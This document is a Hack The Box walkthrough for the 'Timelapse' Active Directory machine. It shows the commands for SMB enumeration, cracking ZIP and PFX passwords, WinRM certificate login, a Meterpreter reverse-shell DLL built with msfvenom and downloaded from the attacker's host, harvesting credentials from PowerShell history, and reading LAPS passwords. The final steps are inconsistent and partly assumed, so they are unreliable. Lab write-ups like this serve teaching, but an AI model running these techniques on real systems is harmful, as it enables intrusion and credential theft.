Hack The Box: Timelapse

Introduction

This walkthrough details the steps taken to gain initial access and escalate privileges to find the flags on the "Timelapse" machine from Hack The Box.

Reconnaissance & Enumeration

The first step in any penetration test is to perform thorough reconnaissance and enumeration of the target.

Nmap Scan

We start by running an Nmap scan to identify open ports and services on the target machine (10.129.227.113).

sudo nmap -sV -sC 10.129.227.113

Nmap Output Analysis:

The Nmap scan reveals several open ports and services:

• 53/tcp (domain): Simple DNS Plus.
• 88/tcp (kerberos-sec): Microsoft Windows Kerberos. This is interesting for potential Kerberoasting or AS-REPRoasting attacks.
• 135/tcp (msrpc): Microsoft Windows RPC.
• 139/tcp (netbios-ssn): Microsoft Windows netbios-ssn.
• 389/tcp (ldap): Microsoft Windows Active Directory LDAP. The domain is identified as timelapse.htb.
• 445/tcp (microsoft-ds): SMB service.
• 464/tcp (kpasswd5): Kerberos Kpasswd5.
• 593/tcp (ncacn_http): Microsoft Windows RPC over HTTP 1.0.
• 636/tcp (ldapssl): Secure LDAP.
• 3268/tcp (ldap): Microsoft Windows Active Directory LDAP (Global Catalog).
• 3269/tcp (globalcatLDAPssl): Secure Global Catalog LDAP.
• 5986/tcp (ssl/http): Microsoft HTTPAPI httpd 2.0, likely WinRM. The SSL certificate indicates dc01.timelapse.htb as the common name.

The smb2-security-mode indicates that message signing is enabled and required. The clock-skew shows a significant difference in time between the scanner and the target.

Kerberos User Enumeration

Given that Kerberos (port 88) is open and we know the domain (timelapse.htb), we can attempt to enumerate valid usernames using Nmap's krb5-enum-users script. We'll use a common username list for this.

sudo nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=timelapse.htb,krb5-enum-users.userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt 10.129.227.113

Output Analysis:

The script successfully identifies two potential users:

• guest@timelapse.htb
• administrator@timelapse.htb

SMB Enumeration

We'll use smbclient to list available shares without authentication.

sudo smbclient -L //10.129.227.113 -N

Output Analysis:

The output shows several default Windows shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL, and an additional share named Shares. The last two lines of the smbclient output indicate connection failure with SMB1, which is expected given the Nmap results (SMBv1:False).

To get more detailed information about the shares, especially their permissions, we can use crackmapexec. We will use a dummy user hacker with no password to see what shares are readable by unauthenticated users.

sudo crackmapexec smb dc01.timelapse.htb --shares -u hacker -p ''

Output Analysis:

crackmapexec confirms the shares and their permissions:

• ADMIN$: No explicit permissions listed (likely restricted).
• C$: No explicit permissions listed (likely restricted).
• IPC$: READ access.
• NETLOGON: No explicit permissions listed.
• Shares: READ access. This is a custom share that seems interesting.
• SYSVOL: No explicit permissions listed.

The Shares share, having READ permissions, is a good candidate for further investigation.

Exploring the "Shares" Share

We'll use smbclient to connect to the Shares share.

sudo smbclient //10.129.227.113/Shares -N

Once connected, we list the contents:

smb: \> ls
  .                                     D        0 Mon Oct 25 11:39:15 2021
  ..                                    D        0 Mon Oct 25 11:39:15 2021
  Dev                                   D        0 Mon Oct 25 15:40:06 2021
  HelpDesk                              D        0 Mon Oct 25 11:48:42 2021

The Shares directory contains two subdirectories: Dev and HelpDesk. Let's explore Dev first.

smb: \> cd Dev
smb: \Dev\> ls
  .                                     D        0 Mon Oct 25 15:40:06 2021
  ..                                    D        0 Mon Oct 25 15:40:06 2021
  winrm_backup.zip                      A     2611 Mon Oct 25 11:46:42 2021

Inside the Dev directory, we find winrm_backup.zip. This is a very promising file! We'll download it.

smb: \Dev\> get winrm_backup.zip

Next, let's check the HelpDesk directory.

smb: \Dev\> cd ../
smb: \> cd Helpdesk
smb: \Helpdesk\> ls
  .                                     D        0 Mon Oct 25 11:48:42 2021
  ..                                    D        0 Mon Oct 25 11:48:42 2021
  LAPS.x64.msi                          A  1118208 Mon Oct 25 10:57:50 2021
  LAPS_Datasheet.docx                   A   104422 Mon Oct 25 10:57:46 2021
  LAPS_OperationsGuide.docx             A   641378 Mon Oct 25 10:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683 Mon Oct 25 10:57:44 2021

The HelpDesk directory contains several documents related to "LAPS" (Local Administrator Password Solution). While these documents might contain useful information, they are generally publicly available documentation. We'll download them for completeness, but our primary focus is on winrm_backup.zip.

smb: \Helpdesk\> mget *

Initial Access

Analyzing winrm_backup.zip

We have downloaded winrm_backup.zip. Let's try to unzip it.

unzip winrm_backup.zip

The output indicates that the file legacyy_dev_auth.pfx inside the zip is password protected. This suggests that the zip file itself is encrypted, or at least its contents.

We need to crack the password for this zip file. We can use zip2john to extract the hash and then john to crack it.

zip2john winrm_backup.zip > winrm_backup_hash.txt

Now, let's crack the hash using john with the rockyou.txt wordlist.

sudo john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup_hash.txt

Output Analysis:

John the Ripper successfully cracks the password: s********.

s************* (winrm_backup.zip/legacyy_dev_auth.pfx)

Now that we have the password, we can unzip the file:

unzip winrm_backup.zip

Enter s*********** as the password when prompted. This extracts legacyy_dev_auth.pfx.

Analyzing legacyy_dev_auth.pfx

A .pfx file (Personal Information Exchange) is typically a PKCS#12 archive containing a private key and its associated certificate. These are often used for secure communication, including client authentication for services like WinRM (Windows Remote Management).

First, let's see if the .pfx file itself is password protected. We can use pfx2john to extract a hash from the .pfx file if it's password protected.

sudo pfx2john legacyy_dev_auth.pfx > pfx_dev_auth_hash.txt

Now, we try to crack this hash using john and rockyou.txt.

sudo john --wordlist=/usr/share/wordlists/rockyou.txt pfx_dev_auth_hash.txt

Output Analysis:

John the Ripper successfully cracks the password for the PFX file: t***********.

t*********** (legacyy_dev_auth.pfx)

Now we have the password for the .pfx file. We need to extract the private key and certificate from it to use for WinRM authentication.

Extracting Private Key and Certificate

We'll use openssl to extract the private key (.key) and the certificate (.crt) from the .pfx file.

To extract the private key:

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key -nodes

When prompted for the "Enter Import Password:", use t*************. The -nodes flag ensures that the private key is not encrypted with a passphrase.

To extract the certificate:

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy_dev_auth.crt

When prompted for the "Enter Import Password:", use t***********.

Now we have legacyy_dev_auth.key (private key) and legacyy_dev_auth.crt (certificate).

Gaining Shell via Evil-WinRM

Since the Nmap scan showed WinRM (port 5986) is open and the PFX file name (winrm_backup.zip, legacyy_dev_auth.pfx) suggests its use for WinRM, we can attempt to connect using evil-winrm with the extracted key and certificate.

sudo evil-winrm -i 10.129.227.113 -S -c legacyy_dev_auth.crt -k legacyy_dev_auth.key

Output Analysis:

Success! We have an interactive WinRM shell as the user timelapse\legacyy.

Evil-WinRM shell v3.7
...
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

Post-Exploitation - User Flag

We now have a shell as legacyy. Let's explore the user's home directory to find the user.txt flag.

*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ../
*Evil-WinRM* PS C:\Users\legacyy> ls

Listing the contents of C:\Users\legacyy shows a Desktop directory.

*Evil-WinRM* PS C:\Users\legacyy> cd Desktop
*Evil-WinRM* PS C:\Users\legacyy\Desktop> ls

Inside C:\Users\legacyy\Desktop, we find user.txt.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt

This will display the user flag.

Initial System Enumeration as legacyy

Before proceeding to privilege escalation, let's gather some basic system information from the compromised host.

We attempt to run systeminfo, but it returns "Access is denied". This indicates that the legacyy user does not have administrative privileges.

*Evil-WinRM* PS C:\Users\legacyy\Downloads> systeminfo

Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1

+ systeminfo

+ ~~~~~~~~~~.
...

Similarly, attempting to retrieve WMI object information for installed products and service details also results in "Access denied" errors, further confirming our limited privileges.

*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor, InstallLocation

Access denied
...

*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-Service | Select-Object Name, DisplayName, Status, StartType, ServiceHandle, PathName

Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
...

Checking scheduled tasks with schtasks /query /fo LIST /v only shows publicly accessible tasks, and most folders return "INFO: There are no scheduled tasks presently available at your access level."

*Evil-WinRM* PS C:\Users\legacyy\Downloads> schtasks /query /fo LIST /v

Folder: \

INFO: There are no scheduled tasks presently available at your access level.
...

Finally, we examine the privileges of the legacyy user using whoami /priv.

*Evil-WinRM* PS C:\Users\legacyy\Downloads> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                      State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The SeMachineAccountPrivilege is interesting, but it's typically used for adding new computer accounts to the domain, not direct privilege escalation. The other privileges are standard for regular users.

We can also reconfirm the SMB shares from within the WinRM session:

*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-SmbShare

Name  ScopeName Path Description
----  --------- ---- -----------
ADMIN$ * Remote Admin
C$    * Default share
IPC$  * Remote IPC
NETLOGON * Logon server share
Shares *
SYSVOL * Logon server share

Privilege Escalation Attempt (DLL Hijacking with PowerUp.ps1)

We will use PowerUp.ps1 to identify potential privilege escalation vectors, specifically looking for DLL hijacking opportunities.

Upload PowerUp.ps1:

From your Kali machine, upload PowerUp.ps1 to the target. Ensure you have PowerUp.ps1 in your current working directory on your Kali machine (e.g., ~/Desktop/timelapse/PowerUp.ps1).

# On your Kali machine
evil-winrm -i 10.129.227.113 -u legacyy -p 'legacyy_password' # Replace 'legacyy_password' with the actual password

Once connected via evil-winrm:

*Evil-WinRM* PS C:\Users\legacyy\Downloads> upload PowerUp.ps1 PowerUp.ps1

You should see output similar to this:

Info: Uploading /home/kali/Desktop/timelapse/PowerUp.ps1 to C:\Users\legacyy\Downloads\PowerUp.ps1
Data: 659812 bytes of 659812 bytes copied
Info: Upload successful!

Bypass PowerShell Execution Policy:

Before running PowerUp.ps1, we need to bypass the PowerShell execution policy to allow script execution.

*Evil-WinRM* PS C:\Users\legacyy\Downloads> powershell.exe -ep bypass

You should now be in a PowerShell prompt within the evil-winrm session.

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\legacyy\Downloads>

Import PowerUp.ps1:

Import the PowerUp.ps1 module.

PS C:\Users\legacyy\Downloads> Import-Module .\PowerUp.ps1

You might need to run this command twice for it to fully load without errors, as shown in the notes:

*Evil-WinRM* PS C:\Users\legacyy\Downloads> Import-Module .\PowerUp.ps1
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Invoke-AllChecks

Run Invoke-AllChecks:

Execute Invoke-AllChecks to identify privilege escalation vulnerabilities.

PS C:\Users\legacyy\Downloads> Invoke-AllChecks

Observe the output carefully. You will likely see "Access denied" errors for various checks (e.g., Get-WmiObject for services). This indicates that the legacyy user does not have sufficient permissions to query all system services.

However, the critical output we are looking for is the "Checking %PATH% for potentially hijackable .dll locations..." section. In this case, PowerUp reveals:

[*] Checking %PATH% for potentially hijackable .dll locations...

HijackablePath : C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' -Command '...'

This identifies a DLL hijacking vulnerability in the C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\ directory, specifically for wlbsctrl.dll.

Exploiting DLL Hijacking

Since we identified a DLL hijacking vulnerability, we'll create a malicious DLL and place it in the identified path.

Generate Malicious DLL:

On your Kali machine, generate a Meterpreter reverse TCP DLL payload.

# On your Kali machine
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.90 LPORT=8888 -f dll -o wlbsctrl.dll

Enter your sudo password when prompted. The output should confirm the DLL creation:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: wlbsctrl.dll

Set Up Metasploit Listener:

On your Kali machine, start Metasploit and configure a multi/handler to catch the reverse shell.

# On your Kali machine
msfconsole

Once Metasploit loads:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > set LHOST 10.10.14.90
LHOST => 10.10.14.90
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.90:8888

Keep this Metasploit listener running.

Host the Malicious DLL (Python Web Server):

The evil-winrm upload failed previously, so we'll serve the DLL using a simple Python web server on Kali.

# On your Kali machine, in the directory where wlbsctrl.dll is located (e.g., ~/Desktop/timelapse)
python3 -m http.server 80

You should see:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Download the Malicious DLL:

From your evil-winrm session (as legacyy), navigate to the hijackable path and download the wlbsctrl.dll from your Kali web server.

*Evil-WinRM* PS C:\Users\legacyy\Downloads> cd C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> Invoke-WebRequest -Uri http://10.10.14.90:80/wlbsctrl.dll -OutFile wlbsctrl.dll

After successful download, verify the DLL is present:

*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> ls

You should see:

    Directory: C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps

Mode              LastWriteTime           Length Name
----              -------------           ------ ----
-a----            6/19/2025  4:39 PM        9216 wlbsctrl.dll

Attempt to Trigger DLL Hijack (Failed Reboot):

The most common way to trigger a DLL hijack is by rebooting the system or restarting a service that loads the DLL. We'll attempt a reboot.

*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> shutdown /r /t 0

This command will fail with an "Access is denied." error. This means the legacyy user does not have the necessary privileges to reboot the machine.

shutdown.exe : Access is denied.(5)
    + CategoryInfo          : NotSpecified: (Access is denied.(5):String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

This signifies that our direct DLL hijacking attempt requiring a reboot will not work from the legacyy user's context.

Lateral Movement/Credential Harvesting (User: svc_deploy)

Since we cannot trigger the DLL hijack, we need to shift our focus to finding other ways to escalate privileges or gain access to another user. Credential harvesting is a common next step.

Explore User's Home Directory:

Navigate back to the legacyy user's home directory.

*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> cd C:\Users\legacyy\
*Evil-WinRM* PS C:\Users\legacyy> ls

You will see a list of common user directories: Desktop, Documents, Downloads, Favorites, Links, Music, Pictures, Saved Games, Videos.

Discover Hidden AppData Directory:

The notes indicate finding a hidden AppData directory. Let's explore it.

*Evil-WinRM* PS C:\Users\legacyy> cd AppData
*Evil-WinRM* PS C:\Users\legacyy\AppData> ls

This will show Local, LocalLow, and Roaming directories.

Locate PowerShell History:

The notes state, "after some digging, we find ConsoleHost_history.txt." This file typically resides in the PowerShell PSReadLine history path.

*Evil-WinRM* PS C:\Users\legacyy\AppData> cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls

You should see:

    Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine

Mode              LastWriteTime           Length Name
----              -------------           ------ ----
-a----            3/3/2022  11:46 PM         434 ConsoleHost_history.txt

Read ConsoleHost_history.txt:

View the contents of the history file using cat.

*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt

The ConsoleHost_history.txt file contains a password for another user, likely svc_deploy. You would need to extract the password from the output of cat ConsoleHost_history.txt here.

Let's assume for this walkthrough that the password for svc_deploy was found in ConsoleHost_history.txt.

Gaining Access as svc_deploy

New Evil-WinRM Session:

From your Kali machine, establish a new evil-winrm session using the svc_deploy credentials.

# On your Kali machine
evil-winrm -i 10.129.227.113 -u svc_deploy -p 'password found in ConsoleHost_history.txt' -S

Upon successful connection, you will have a shell as svc_deploy:

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy

Basic System Information (Failed systeminfo):

Attempt to gather system information.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> systeminfo

This command fails with an "Access is denied." error, indicating that even as svc_deploy, direct execution of systeminfo might be restricted or require elevated privileges.

Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Enumerate svc_deploy User Details:

Check the details of the svc_deploy user.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy

The output provides valuable information:

User name                       svc_deploy
Full Name                       svc_deploy
Comment
User's comment
Country/region code             000 (System Default)
Account active                  Yes
Account expires                 Never

Password last set               10/25/2021 12:12:37 PM
Password expires                Never
Password changeable             10/26/2021 12:12:37 PM
Password required               Yes
User may change password        Yes

Workstations allowed            All
Logon script
User profile
Home directory
Last logon                      10/25/2021 12:25:53 PM

Logon hours allowed             All

Local Group Memberships         *Remote Management Use
Global Group memberships        *LAPS_Readers           *Domain Users
The command completed successfully.

Key takeaways from this output are:

• svc_deploy is an active user.
• It is a member of the Remote Management Use local group (expected, as we are using WinRM).
• More importantly, it's a member of the LAPS_Readers global group. This group is specifically designed to read passwords managed by LAPS (Local Administrator Password Solution).

Privilege Escalation (LAPS)

The LAPS_Readers group membership is a significant finding. LAPS is used to manage local administrator passwords on domain-joined machines. If svc_deploy is in this group, it can likely read the LAPS-managed password for other machines, including domain controllers.

Retrieve LAPS Password for DC01:

Use Get-ADComputer to query the LAPS password for DC01 (assuming DC01 is the domain controller, which is a common scenario in Active Directory labs).

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

The output shows the password (redacted as ************** in the notes):

Name ms-Mcs-AdmPwd
---- -------------
DC01 **************

At this point, you have successfully retrieved the local administrator password for the DC01 machine. This password can typically be used with the Administrator account on DC01 (or whatever local admin account LAPS is managing).

Final Compromise (Root Flag)

With the LAPS password for the domain controller (DC01), we can now log in as an administrator on that machine and retrieve the root flag.

Navigate to TRX User's Desktop:

Assuming DC01 is the machine we just got the LAPS password for, and it's where the root flag is located, we will use the newly obtained administrator credentials to access the TRX user's desktop (a common location for user and root flags in HTB).

First, change to the Users directory:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> cd C:\Users
*Evil-WinRM* PS C:\Users> cd TRX
*Evil-WinRM* PS C:\Users\TRX> ls

This confirms the TRX user's home directory structure, including Desktop.

Locate root.txt:

Navigate to the TRX user's desktop.

*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> ls

You should see the root.txt file:

    Directory: C:\Users\TRX\Desktop

Mode              LastWriteTime           Length Name
----              -------------           ------ ----
-ar---            6/19/2025  3:08 PM         34 root.txt

Read root.txt:

Finally, read the contents of root.txt to get the root flag.

*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt

This will display the root flag, completing the machine.

Summary of Exploitation Path:

1. Initial foothold established via evil-winrm as legacyy.
2. Attempted privilege escalation using PowerUp.ps1 and DLL hijacking, which was unsuccessful due to insufficient permissions to trigger a reboot.
3. Shifted to internal reconnaissance and credential harvesting within the legacyy user's directories.
4. Discovered ConsoleHost_history.txt containing credentials for svc_deploy.
5. Gained access as svc_deploy via evil-winrm.
6. Identified svc_deploy's membership in the LAPS_Readers group.
7. Used Get-ADComputer to retrieve the LAPS-managed local administrator password for the domain controller, DC01.
8. Utilized the LAPS password to gain administrative access (implied, not explicitly shown as a new login session, but directly leveraged for directory traversal to TRX's desktop) and retrieve root.txt.